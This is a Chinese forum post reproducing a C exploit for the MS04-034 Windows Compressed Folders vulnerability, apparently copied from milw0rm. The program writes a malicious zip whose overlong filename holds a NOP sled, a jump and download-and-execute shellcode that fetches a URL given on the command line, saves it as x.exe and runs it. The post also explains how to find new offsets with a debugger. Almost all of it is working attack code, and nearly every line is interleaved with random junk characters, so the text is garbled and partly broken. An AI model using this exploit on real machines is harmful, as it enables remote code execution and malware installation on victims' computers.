- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
|
/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)' b& _$ n" Y) D8 g# U2 @
** B% r5 B N9 _- x2 R! c/ S
* Tested under Windows XP SP0 Spanish/English6 i+ y3 \7 Y- }: o( N
*
6 ^6 T5 l# C( d' L( }; E* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html
+ B. _( C; x' }7 R; \* Exploit Date: 21/10/2004! M9 H+ N1 N' v) l/ V* [ p3 B
*
6 y6 h: \) Y; _* j+ z' d; T* Tarako - Haxorcitos.com 2004
& e% t$ S! y. U y& I*; }+ c. r* s7 q
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
" p3 `7 ?9 b% a( a" b3 ]* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION3 }( G4 o' z# v$ ?! {0 n$ I
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.& v! W% m4 l8 K# {* h: |
*
" t5 r; `2 X! `& e0 C" l" w* Greetings t #haxorcitos, #dsr and #localhost @efnet6 w* U! `' P* ]& i" J/ P/ K
*
: o/ d. B i j7 K2 _$ z _*3 c7 W) c+ f) h2 _4 U$ Y
* How to get new offsets:3 {) H- l4 R* S3 B1 |; G7 n3 }
* 1) attach debugger (i.e ollydbg) to explorer.exe$ z! n4 Q& w4 z8 K! C
* 2) open the zip file as a folder and add or move some files to it
4 T9 Y, o7 ~3 g+ y/ E* 3) search in the explorer.exe memory the shellcode and get the addresses3 o N; a0 g2 r- Y
*
! n. B$ Q$ o. S5 g1 X) d$ }# L4 o*/$ R( C# g$ m: @: R2 Y1 m, y# L2 f
* G! L P7 m4 e' I$ j+ [" T
#include <stdio.h>
. P9 |7 l C' A& {( M0 w# Y#include <windows.h>* j2 U5 n* W6 \1 g7 d _
0 m# Z6 C; K5 |/ u% ^2 f
#pragma pack(1)
4 k) c, t$ q8 `! b4 S0 x! C$ d* R) X' f( X7 l1 L+ J6 a
#define DATOS "Tarako-Haxorcitos.com"! w/ p7 m: d Y! c6 @1 ~" g
2 w c* l: i3 L9 z
typedef struct {
+ W6 y3 e6 v' g2 T2 z5 p, nDWORD Signature; // PK.. 4 bytes (0x04034B50)
3 t! z0 Q6 _6 {, vWORD VersionNeeded;
) w) C2 k- c6 vWORD GeneralPurposeFlag; // para el data descriptor y demas
. p* h! f L7 h" K8 {( g* TWORD CompressionMethod;
- i3 P$ w. f- M) C- h) BWORD ModFileTime;
% L& U6 T0 U+ ^ i3 u" XWORD ModFileDate;
/ T$ z4 L- N, L0 I+ pDWORD Crc32;( x" d: X/ C0 F9 Y# a6 v4 y
DWORD CompressedSize;
) B8 H( p( S& d4 dDWORD UncompressedSize;9 l3 t- p' v, }; N' h" Z, r9 o% D* c
WORD FilenameLength;
J& l* H6 u- W' @WORD ExtraFieldLength;
+ e: K7 L1 J% t, n) N8 K// filename (variable size)
9 x" ]( X9 L) q1 j# }% y ?// extra field (variable size)" }* M# k1 ?- F# t
}TOPHEADER;# x2 k1 I9 M0 I! @
0 K5 O y, v- h$ c* l, s3 i9 h: Z' z, w6 H9 F: \ a
typedef struct {
F; H+ ?) e! M+ H9 z, SDWORD Signature; // PK.. 4 bytes (0x02014B50)
$ Y8 m4 D% e# R0 n: `WORD MadeVersion;+ o& E6 A2 o4 \
WORD VersionNeeded;2 h9 V5 S' R7 a. T' @
WORD GeneralPurposeFlag; // para el data descriptor y demas' z5 N( Y, n0 P% n- O5 b1 x& N
WORD CompressionMethod;0 U2 b" r% r4 g6 J7 n
WORD ModFileTime;) ^9 y: e$ _2 \- \4 k0 p4 k& p
WORD ModFileDate;4 H* J9 X' l8 f
DWORD Crc32;& P- I8 z" k F5 h
DWORD CompressedSize;
3 D& S7 p1 J# K0 K! h% TDWORD UncompressedSize;1 a8 w* Q8 Y# w( d `3 T1 p
WORD FilenameLength;1 u5 T s. E( L* I" ]
WORD ExtraFieldLength;
" ]* {3 A3 B6 h% R! x6 X$ CWORD FileCommentLength;) q+ @& h/ c$ }% S ^' v2 L# Z
WORD DiskNumberStart;5 L; d4 {) ~0 y6 g- w$ `
WORD InternalFileAttributes;# I2 m+ R3 F! z$ A! C+ J7 y) C9 y
DWORD ExternalFileAttributes;
0 ~( N* Q$ Y* gDWORD RelativeOffsetOfLocalHeader;
- G d: \) f) C// filename (variable size)
7 l( k# [( Y8 k$ T. O// extra field (variable size)
: ]- x' t/ Y/ s// file comment (variable size)
- N! J/ O+ f- `$ f" Q}MIDDLEHEADER;
+ r% L& l" m# I0 h/ `' O% {8 q) C1 t, m8 R; k+ x) k7 K3 F
typedef struct {
/ C7 `3 M5 C6 \- h/ UDWORD Signature; // PK.. 4 bytes (0x06054B50)! l! u- f5 U, K! q9 K3 S$ B" l
WORD NumOfThisDisk;) m) a6 ^; n3 `
WORD NumDisckStartCentralDirectory;6 n7 n8 U8 Q; I8 s3 L( j' z
WORD NumEntriesCentralDirOnThisDisk;$ a* J. }$ Q, o: O5 ? a3 p
WORD TotalNumEntriesCentralDir;
+ F2 X( L* l: M! ?2 G% {DWORD SizeCentralDirectory;/ c# ]' Q, P4 R" w; V
DWORD OffsetCentraDirRespectStartDiskNum;; z0 N% y o( Y0 R$ Y* i
WORD ZipCommentLength;
* G: R0 s# o; Y. c// zipfile comment (variable size)
6 A- E" Q0 M, s. T2 d}BOTTOMHEADER;" d+ y* a2 u1 d4 ?
! i5 x7 E" G- e
/*
3 q# J9 t L) B* download shellcode - RaiSe - raise@netsearch-ezine.com
, s! X% m2 F$ B4 c% g*/1 q8 K5 i% ]0 a8 P: |
char shellcode1[] =5 i3 [& W' J* o0 I9 V
"\xEB\x5D\x5F\x8B\xF7\x80\x3F"( @) J8 U) j; J* ?; c! Q- ^* N5 ?
"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9"
* b! h1 v( B. J; h* I"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08"
( B) N8 G0 z3 G# W7 D"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8": R- u. V2 E! z0 F8 P8 n
"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B"
, d6 ?+ _' S" y' S1 \1 s"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74"
+ z G3 T% H, n" ^0 q# I7 V+ [* A"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" ?9 r5 I" W" q* |
"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B": ]( w# ^' \1 h- V
"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53"
* g3 R. x5 U' P6 I6 y"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78"' S$ g5 |* [) S/ B) G! Q$ ~ i
"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30"6 ~* R1 z5 @% D0 t( h- W8 h! l7 L
"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04"% I8 a( @& i' f3 c: |
"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66"2 @$ F, a0 k- H# v" `( B
"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D"% L3 U& f! V; d) V
"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0"
) I2 U5 ^- H# j"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04"( m/ C" o3 l. x' y% ]+ r
"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB"% h3 R) ?& D6 B& C; F3 ?
"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C"
. T/ t! h: {& F) c/ V5 c# D! p"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8"
u$ Y4 h1 w% D( c"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52", i p) h; Q" |5 l$ L3 a
"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1"
) b, m; \$ K3 [7 f8 X"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC"9 ?; }, _1 Z+ h) C7 C2 _4 q
"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0") f) g N+ |2 E( }% m$ f
"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B". V1 g* v0 r" D5 B6 T
"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF"* M0 P0 v2 Y7 k; Y
"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69"! L* U. M( K9 E
"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49"
0 f6 `2 d1 D. a0 W* t: Q"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F"
3 D, Z1 S# I+ b' e I, C"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61", I$ {6 y: Q* q- A
"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78"
" A2 X9 ^; v0 x% U4 s"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72"! y& I: k8 a0 b( {7 i3 w# U) X& b
"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65"
7 A/ g- |; b, N, U. o, c% x"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69"
x! F& h" A5 ~ z2 r"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64"& c9 u/ @" e+ y, p" S/ d6 R
"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08";
/ Y9 k& A |( c! N6 N* Wchar shellcode2[] ="\x08\x01";6 Z4 V5 p2 c" B
6 @$ a+ O2 q2 _8 E% @char offset[]="\x41\x41\x41\x41";
6 P) o6 g5 u5 j4 @char jmpbelow[]= "\xeb\x06\x90\x90";
4 r8 X* G* \5 E
. v- n) H$ s3 Y6 l7 V- zint main(int argc,char *argv[]) {
! ]0 E+ [+ s* H0 r3 [( V2 ^7 f2 V( z4 D9 r
FILE *ZipFile;' R* ^9 ~( ]" z5 P' }
TOPHEADER *Cabecera1;6 Y7 I, V" D! r; R) I$ n! ~: ]
MIDDLEHEADER *Cabecera2;
2 K# |4 a- I; C) U# \BOTTOMHEADER *Cabecera3;/ v x3 J) A9 `8 |/ O
+ e6 f5 Y0 h; j- Q. d1 SDWORD c;
7 G. m/ N0 H; m3 X5 S, l+ CUINT i;, S5 s7 o' z9 x7 f
char *filename;- S0 L& J( t4 K) X* v. b, g
char *url;5 [; @* V: j2 {- s( A0 Y+ l
, f+ D' A) e; p1 @+ z! j& f9 Z
printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); R2 j5 X$ L7 c. H, V
printf("\n Tarako - Tarako[AT]Haxorcitos.com\n");9 Z7 ~- L. S' C" ?; D5 q0 t
* Q: o$ i; v6 P- {- u
if (argc!=2) {
4 _5 k4 s! s( pprintf("\n\n Usage: %s <URL> \n",argv[0]);
0 Z* ^" G9 I* Y/ eexit(1);9 o$ _2 u' z, h) P4 {8 |0 U
}6 G5 k5 U% w4 a3 L# _( A+ V# F" j4 v6 @
! f) H5 i0 |( X9 o ?; R2 b
url=argv[1];
$ f C4 E) n" s$ n I8 \2 _# Eprintf("\n * URL: %s",url);
# \" r7 T. S8 v# Q+ I \3 S) W. Y& t1 K) n
! x7 G! \7 t/ u6 S& }; S xif (!(ZipFile=fopen("prueba.zip","w+b"))) {- x S3 W& Z) n. z
printf("\n [E] fopen()");" z' k0 x' P# m, i+ |+ e
exit(1);
$ R5 [' |! ` G+ g}
- e% u$ \3 T! ^) \8 ]5 |; {8 [
+ V! a; s: {$ tc=0x8000; // filename length% m9 i2 A, _* L6 C; q
filename=(char*)malloc(sizeof(char)*c);
7 |0 g( j7 ?0 K# Zmemset(filename,0,sizeof(filename));7 h8 [$ i2 M4 f) [
9 J. u1 F" ?, b
for( i=0x0;i<c;i++) filename=(BYTE)0x90;
/ y9 U% M7 P+ e
- o5 ~/ Z, {+ O; J7 `) Pmemcpy(filename+0x1814,jmpbelow,strlen(jmpbelow));
/ e5 t- @5 G, e5 _: ]; Imemcpy(filename+0x1818,offset,strlen(offset));
9 { s7 _# E5 \+ d/ V* p6 j( w3 n, K% ?( z, F0 M% v, G+ E# n* |
memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1);+ ^: j }' [- m; y
memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url));# u5 _# J" e! y3 Q% R I; `+ l
memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1);9 N8 {$ i5 r( Z$ K
- S7 |7 x2 e5 Q- f
memcpy(filename+(c-4),".txt",4);% N/ [" Z! ^ x0 ]
- A5 a6 j* i3 H% D1 f$ t; [6 V
Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER));
6 ^: m) P& t3 l" |; m$ `Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER));
6 ~8 a [2 i0 mCabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));
0 L1 j& d9 |$ ?% N9 ]memset(Cabecera1,0,sizeof(TOPHEADER));& E- c" s6 B6 Y1 N: b, s
memset(Cabecera2,0,sizeof(MIDDLEHEADER));3 j# z M" n' A2 C* g3 Y O
memset(Cabecera3,0,sizeof(BOTTOMHEADER));
8 C8 y* P) B! G$ m, c
1 h# M. { A3 k. s5 t# s3 t' c///////////////////////////////////////////////////////////////////. L5 \/ I* v0 ]! d+ A/ g3 _
// TOPHEADER
' P+ p! ~9 r2 l9 @3 j& K///////////////////////////////////////////////////////////////////
, I; g" p2 ~. e q* vCabecera1->Signature=0x04034B50; // DWORD
5 b+ t7 L; g8 M7 hCabecera1->VersionNeeded=0x000A; // WORD9 g- g5 g9 e# d* h& ?$ \
Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas
6 S! P2 T( h2 L# iCabecera1->CompressionMethod=0x0000; // WORD3 X* X& u+ w) M) y) ^: d) S
Cabecera1->ModFileTime=0x1362; // WORD0 O& _2 I) m" d+ i) |
Cabecera1->ModFileDate=0x3154; // WORD6 W# R1 b X/ l- x, M' F, k
Cabecera1->Crc32=0x85B36639; // DWORD
P4 k1 t3 y/ v" T& O/ s; OCabecera1->CompressedSize=0x00000015; // DWORD3 }9 e" u) \( N$ F- H
Cabecera1->UncompressedSize=0x00000015; // DWORD! F! ^: N, ?* C H. l& ?
Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
- W+ L. N" V) t5 zCabecera1->ExtraFieldLength=0x0000; // WORD
3 U; W9 S/ U7 M3 u///////////////////////////////////////////////////////////////////" N: i& }1 h+ P$ I! E6 ?
4 _- g" ?4 T3 S2 L! ]& j///////////////////////////////////////////////////////////////////# s8 ?- z% H5 p3 c+ u! v
// MIDDLEHEADER
' h1 D# n& d6 m; H///////////////////////////////////////////////////////////////////) P8 V- r4 Z, G. @- ]
Cabecera2->Signature=0x02014B50; // DWORD
4 N+ s% d7 R1 `4 f. v2 x' G ]Cabecera2->MadeVersion=0x0014; // WORD
: c4 G6 Y `# \ J1 fCabecera2->VersionNeeded=0x000A; // WORD9 `$ j# z0 V/ E* h
Cabecera2->GeneralPurposeFlag=0x0002; // WORD
! K! {- z4 z0 s1 X% u# UCabecera2->CompressionMethod=0x0000; // WORD& J7 d* B0 D5 B w
Cabecera2->ModFileTime=0x1362; // WORD" [3 r% ?* t3 H
Cabecera2->ModFileDate=0x3154; // WORD7 U0 ~% S0 l, }
Cabecera2->Crc32=0x85B36639; // DWORD9 X8 L5 m* e% L
Cabecera2->CompressedSize=0x00000015; // DWORD
- Z- {. ?, U8 F+ e4 h& w# P qCabecera2->UncompressedSize=0x00000015; // DWORD$ m# R) n. c( N G2 b+ V
Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);" s' X# i a7 X
Cabecera2->ExtraFieldLength=0x0000; // WORD
5 Q: X1 F4 l- JCabecera2->FileCommentLength=0x0000; // WORD
% I1 E+ L+ @( m+ y# rCabecera2->DiskNumberStart=0x0000; // WORD
* u7 ]1 z5 A' \$ W6 Y) b2 j3 CCabecera2->InternalFileAttributes=0x0001; // WORD
9 |) A1 G9 E7 B7 \Cabecera2->ExternalFileAttributes=0x00000020; // DWORD
0 j9 ^" R8 `7 F7 YCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD, q- V9 j P' X
///////////////////////////////////////////////////////////////////
8 C7 d5 G" q) a
/ B$ Y' |! t! K E2 \4 Z' Y W$ z///////////////////////////////////////////////////////////////////
, T+ k2 H- p! h" [ x- F// BOTTOMHEADER% f1 P- T' G1 L0 {* i3 \0 x
///////////////////////////////////////////////////////////////////
2 m' g9 W6 P. b& L* Y$ zCabecera3->Signature=0x06054B50; // DWORD9 V% S4 g& ]7 z
Cabecera3->NumOfThisDisk=0x0000; // WORD2 ~5 V# M' B0 i5 k
Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD- E4 Q- S6 c' y/ }/ d9 N
Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD
8 x( G* \0 \. d- W, D/ l" SCabecera3->TotalNumEntriesCentralDir=0x0001; // WORD
3 P0 u! c3 n& p/ H, PCabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD1 U i, B# t* C6 Q& T
Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD 6 M+ z8 L7 V. |: I/ F7 E) T$ j
Cabecera3->ZipCommentLength=0x0000; // WORD
0 L* l% X S1 t6 H+ {: x1 @///////////////////////////////////////////////////////////////////
( S& W& z4 p6 S# D: ~2 q
* f) d3 G. L9 _# \6 J# Vfwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile);6 v* D% s! |( g2 b+ N
+ N+ {! b+ m O! D- K1 u) T: |fwrite(filename, c, 1,ZipFile); ' w }! O W5 x5 U: c- F8 z- j
fwrite(DATOS,strlen(DATOS),1,ZipFile);
) G3 s0 q2 u5 m( r5 h, g8 v+ v" a) Q% `# @9 [/ ^: P
fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile);
r5 [+ \# V ~4 k1 c% }fwrite(filename, c, 1,ZipFile);
- ] F. ]8 C- I; @- dfwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);$ U7 J6 i/ |, Z7 L( _& Q9 G
+ y/ z5 a5 D9 L+ s( ^9 |
fclose(ZipFile);7 h4 Z2 Y- ?' Z
printf("\n * prueba.zip created\n");
* `; B9 s( e8 D' Q. oreturn 1;+ |) ~. r. [# J9 Z* i4 B. F0 d
}//downloaded from milw0rm.com
' b" S2 s1 g# \8 V6 a; u: s |
zan
|